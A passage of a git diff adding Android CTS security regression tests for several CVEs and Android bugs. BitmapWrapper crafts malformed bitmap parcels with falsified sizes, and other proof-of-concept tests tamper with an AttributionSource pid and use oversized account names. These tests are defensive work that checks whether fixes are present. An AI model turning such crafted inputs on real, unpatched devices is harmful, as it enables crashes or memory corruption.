-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <uses-permission android:name="android.permission.SEND_SMS" />
 
     <application android:label="CtsRoleTestApp">
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index b522f95..766a927 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -40,7 +40,6 @@
 import android.os.Build;
 import android.os.Process;
 import android.os.UserHandle;
-import android.platform.test.annotations.SecurityTest;
 import android.provider.Settings;
 import android.provider.Telephony;
 import android.support.test.uiautomator.By;
@@ -115,9 +114,6 @@
     private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER =
             "com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER";
 
-    private static final String ROLE_SYSTEM_SPEECH_RECOGNIZER =
-            "android.app.role.SYSTEM_SPEECH_RECOGNIZER";
-
     private static final Instrumentation sInstrumentation =
             InstrumentationRegistry.getInstrumentation();
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
@@ -138,7 +134,8 @@
 
     @Before
     public void saveRoleHolder() throws Exception {
-        mRoleHolder = getRoleHolder(ROLE_NAME);
+        List<String> roleHolders = getRoleHolders(ROLE_NAME);
+        mRoleHolder = !roleHolders.isEmpty() ? roleHolders.get(0) : null;
 
         if (Objects.equals(mRoleHolder, APP_PACKAGE_NAME)) {
             removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
@@ -914,7 +911,7 @@
     public void removeSmsRoleHolderThenPermissionIsRevoked() throws Exception {
         assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
 
-        String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS);
+        String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0);
         addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
         addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder);
 
@@ -928,7 +925,7 @@
                 && sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
 
         addRoleHolder(RoleManager.ROLE_DIALER, APP_PACKAGE_NAME);
-        String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS);
+        String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0);
         addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
         addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder);
 
@@ -992,46 +989,11 @@
                 sRoleManager.isBypassingRoleQualification())).isFalse();
     }
 
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S, codeName = "S")
-    @SecurityTest
-    @Test
-    public void systemRoleDoesNotOverrideUserRevokedPermission() throws Exception {
-        assumeTrue(sRoleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER));
-        String systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER);
-        if (systemSpeechRecognizerPackageName != null) {
-            assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
-                    systemSpeechRecognizerPackageName))
-                    .isEqualTo(PackageManager.PERMISSION_GRANTED);
-        }
-        assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
-                APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED);
-
-        runWithShellPermissionIdentity(() -> sPackageManager.updatePermissionFlags(
-                android.Manifest.permission.RECORD_AUDIO, APP_PACKAGE_NAME,
-                PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET,
-                Process.myUserHandle()));
-        runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(true));
-        try {
-            addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, APP_PACKAGE_NAME);
-
-            assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
-                APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED);
-        } finally {
-            runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(false));
-        }
-    }
-
     @NonNull
     private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
         return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
     }
 
-    @Nullable
-    private String getRoleHolder(@NonNull String roleName) throws Exception {
-        List<String> roleHolders = getRoleHolders(roleName);
-        return !roleHolders.isEmpty() ? roleHolders.get(0) : null;
-    }
-
     private void assertIsRoleHolder(@NonNull String roleName, @NonNull String packageName,
             boolean shouldBeRoleHolder) throws Exception {
         List<String> packageNames = getRoleHolders(roleName);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 53d8f4e..b82b188 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
         "compatibility-common-util-devicesidelib",
         "guava",
         "platform-test-annotations",
+        "sts-device-util",
         "hamcrest-library",
     ],
     libs: [
@@ -60,6 +61,7 @@
         "src/**/*.java",
         "src/**/*.kt",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IBitmapService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
         "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
     ],
@@ -72,6 +74,9 @@
         "sts",
     ],
     certificate: ":security_cts_test_certificate",
+    data: [
+        ":RolePermissionOverrideTestApp",
+    ],
 }
 
 android_test_helper_app {
@@ -84,3 +89,8 @@
     name: "security_cts_test_certificate",
     certificate: "security_cts_test_cert",
 }
+
+android_test_helper_app {
+    name: "RolePermissionOverrideTestApp",
+    manifest: "testdata/rolepermissionoverridetestapp.xml",
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index f8402ec..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -27,6 +27,7 @@
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- For FileIntegrityManager -->
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
@@ -47,6 +48,10 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
              android:process=":secureRandom"/>
+
+        <service android:name="android.security.cts.BitmapService"
+                 android:process=":bitmap_service" />
+
         <activity android:name="android.security.cts.MotionEventTestActivity"
              android:label="Test MotionEvent"
              android:exported="true">
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 6e0c8bc4..53a9a26 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -44,6 +44,15 @@
             value="pm uninstall --user 0 android.security.cts" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/security" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="RolePermissionOverrideTestApp.apk->/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
         <option name="runtime-hint" value="1h40m18s" />
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+    int getAllocationSize(in BitmapWrapper bitmap);
+    boolean didReceiveBitmap(in BitmapWrapper bitmap);
+    boolean ping();
+}
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..80ffd60
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.Assert;
+
+import java.lang.reflect.Field;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+    @AsbSecurityTest(cveBugId = 200288596)
+    @Test
+    public void testPidCheck()
+            throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        AttributionSource attributionSource = null;
+        Field attSourceStateField = null;
+        try {
+            attributionSource = (AttributionSource) Context.class.getMethod(
+                    "getAttributionSource").invoke(context);
+            attSourceStateField = attributionSource.getClass().getDeclaredField(
+                    "mAttributionSourceState");
+            attSourceStateField.setAccessible(true);
+        } catch (Exception e) {
+            Assume.assumeFalse(true);
+        }
+
+        Object attSourceState = attSourceStateField.get(attributionSource);
+        attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+        final AttributionSource attributionSourceFinal = attributionSource;
+        Assert.assertThrows(SecurityException.class,
+                () -> attributionSourceFinal.enforceCallingPid());
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+    private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+        @Override
+        public int getAllocationSize(BitmapWrapper wrapper) {
+            return wrapper.getBitmap().getAllocationByteCount();
+        }
+
+        @Override
+        public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+            return true;
+        }
+
+
+        @Override
+        public boolean ping() {
+            return true;
+        }
+    };
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb139..5be9098 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,88 @@
 
 package android.security.cts;
 
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
 @RunWith(AndroidJUnit4.class)
 public class BitmapTest {
+
+    private Instrumentation mInstrumentation;
+    private PeerConnection mRemoteConnection;
+    private IBitmapService mRemote;
+
+    public static class PeerConnection extends AbstractFuture<IBitmapService>
+            implements ServiceConnection {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            set(IBitmapService.Stub.asInterface(service));
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+        }
+
+        @Override
+        public IBitmapService get() throws InterruptedException, ExecutionException {
+            try {
+                return get(5, TimeUnit.SECONDS);
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @After
+    public void tearDown() {
+        if (mRemoteConnection != null) {
+            final Context context = mInstrumentation.getContext();
+            context.unbindService(mRemoteConnection);
+            mRemote = null;
+            mRemoteConnection = null;
+        }
+    }
+
+    IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+        if (mRemote == null) {
+            final Context context = mInstrumentation.getContext();
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "android.security.cts", "android.security.cts.BitmapService"));
+            mRemoteConnection = new PeerConnection();
+            context.bindService(intent, mRemoteConnection,
+                    Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+            mRemote = mRemoteConnection.get();
+        }
+        return mRemote;
+    }
+
     /**
      * Test Bitmap.createBitmap properly throws OOME on large inputs.
      *
@@ -39,4 +111,102 @@
         // which might be passed to createBitmap from a Java decoder.
         Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
     }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_inplace_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 500KiB; larger than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the blob size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 213169612)
+    public void test_ashmem_213169612() throws Exception {
+        IBitmapService remote = getRemoteService();
+        Assert.assertTrue("Binder should be alive", remote.ping());
+        BitmapWrapper wrapper = new BitmapWrapper(
+                Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+                        .createAshmemBitmap());
+        final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+        int allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to be larger than the initial size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Override the bitmap size to 2 bytes; smaller than the actual size
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.DataSize, 2);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be too large
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 10_000)
+                .replace(BitmapWrapper.Field.RowBytes, 50_000);
+        try {
+            Assert.assertFalse("Should have failed to unparcel",
+                    remote.didReceiveBitmap(wrapper));
+        } catch (BadParcelableException ex) {
+            // We'll also accept a BadParcelableException
+        }
+        Assert.assertTrue("Binder should be alive", remote.ping());
+
+        // Keep the ashmem size accurate, but change computed allocation size to be smaller
+        wrapper.reset()
+                .replace(BitmapWrapper.Field.Height, 100);
+        allocationSize = remote.getAllocationSize(wrapper);
+        Assert.assertEquals(expectedAllocationSize, allocationSize);
+        Assert.assertTrue("Binder should be alive", remote.ping());
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 0000000..dbcf498
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+    enum Field {
+        DataSize,
+        Height,
+        RowBytes,
+    }
+
+    private final Bitmap mBitmap;
+    private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+    public BitmapWrapper(Bitmap bitmap) {
+        mBitmap = bitmap;
+    }
+
+    private BitmapWrapper(Parcel in) {
+        mBitmap = Bitmap.CREATOR.createFromParcel(in);
+    }
+
+    public Bitmap getBitmap() {
+        return mBitmap;
+    }
+
+    public BitmapWrapper reset() {
+        mReplaceFields.clear();
+        return this;
+    }
+
+    public BitmapWrapper replace(Field field, int newValue) {
+        mReplaceFields.put(field, newValue);
+        return this;
+    }
+
+    @Override
+    public int describeContents() {
+        return mBitmap.describeContents();
+    }
+
+    @Override
+    public void writeToParcel(@NonNull Parcel dest, int flags) {
+        final int before = dest.dataPosition();
+        mBitmap.writeToParcel(dest, flags);
+        final int oldEnd = dest.dataPosition();
+        if (!mReplaceFields.isEmpty()) {
+            dest.setDataPosition(before
+                    + 4 /* immutable */
+                    + 4 /* colortype */
+                    + 4 /* alpha type */);
+            // Skip sizeof colorspace
+            int colorSpaceLen = dest.readInt();
+            dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+            Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+            Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.Height)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.Height));
+            }
+            Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+            if (mReplaceFields.containsKey(Field.RowBytes)) {
+                dest.setDataPosition(dest.dataPosition() - 4);
+                dest.writeInt(mReplaceFields.get(Field.RowBytes));
+            }
+            Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+            int type = dest.readInt();
+            if (type == 0) { // in-place
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                    int newEnd = dest.dataPosition() + dataSize;
+                    dest.setDataSize(newEnd);
+                    dest.setDataPosition(newEnd);
+                } else {
+                    int skip = dest.readInt();
+                    dest.setDataPosition(dest.dataPosition() + skip);
+                }
+            } else if (type == 1) { // ashmem
+                if (mReplaceFields.containsKey(Field.DataSize)) {
+                    int dataSize = mReplaceFields.get(Field.DataSize);
+                    dest.writeInt(dataSize);
+                }
+                dest.setDataPosition(oldEnd);
+            } else {
+                Assert.fail("Unknown type " + type);
+            }
+        }
+    }
+
+    public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+            new Parcelable.Creator<BitmapWrapper>() {
+        public BitmapWrapper createFromParcel(Parcel in) {
+            return new BitmapWrapper(in);
+        }
+
+        public BitmapWrapper[] newArray(int size) {
+            return new BitmapWrapper[size];
+        }
+    };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
new file mode 100644
index 0000000..855ad37
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Instrumentation;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0922 {
+
+    private Instrumentation mInstrumentation;
+
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    /**
+     * b/195630721
+     */
+    @AsbSecurityTest(cveBugId = 195630721)
+    @Test
+    public void testPocCVE_2021_0922() throws Exception {
+        String packageName = "com.android.managedprovisioning";
+        try {
+            PackageInfo packageInfo = mInstrumentation.getContext().getPackageManager()
+                    .getPackageInfo(packageName, PackageManager.GET_PERMISSIONS);
+            boolean isPermissionPresent = false;
+            for (int i = 0; i < packageInfo.requestedPermissions.length; ++i) {
+                if ((packageInfo.requestedPermissionsFlags[i]
+                        & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) {
+                    String permission = packageInfo.requestedPermissions[i];
+                    if (permission.equals(android.Manifest.permission.MANAGE_APP_OPS_MODES)) {
+                        isPermissionPresent = true;
+                        break;
+                    }
+                }
+            }
+            assertTrue(isPermissionPresent);
+        } catch (PackageManager.NameNotFoundException e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..ab4c71b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 169762606)
+    @Test
+    public void testPocCVE_2021_0934() {
+        try {
+            // Creating an account with arguments 'name' and 'type' whose
+            // lengths are greater than 200
+            String name = new String(new char[300]).replace("\0", "n");
+            String type = new String(new char[300]).replace("\0", "t");
+            Account acc = new Account(name, type);
+            assumeNotNull(acc);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/169762606, allowing account name/type "
+                    + "with character count 300 whereas limit is 200");
+        } catch (Exception e) {
+            if (e instanceof IllegalArgumentException) {
+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..965deb0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 200682135)
+    public void testPocCVE_2021_39663() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        ContentResolver contentResolver = context.getContentResolver();
+        try {
+            Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                    new ContentValues());
+            ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+            assumeNotNull(pfd);
+            FileDescriptor fd = pfd.getFileDescriptor();
+            int flags = Os.fcntlInt(fd, F_GETFL, 0);
+            pfd.close();
+            contentResolver.delete(uri, null, null);
+            assumeTrue("Unable to read file status flags", flags > 0);
+            assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+                    flags & O_NOFOLLOW);
+        } catch (ErrnoException | IOException e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt
new file mode 100644
index 0000000..2394cd2
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
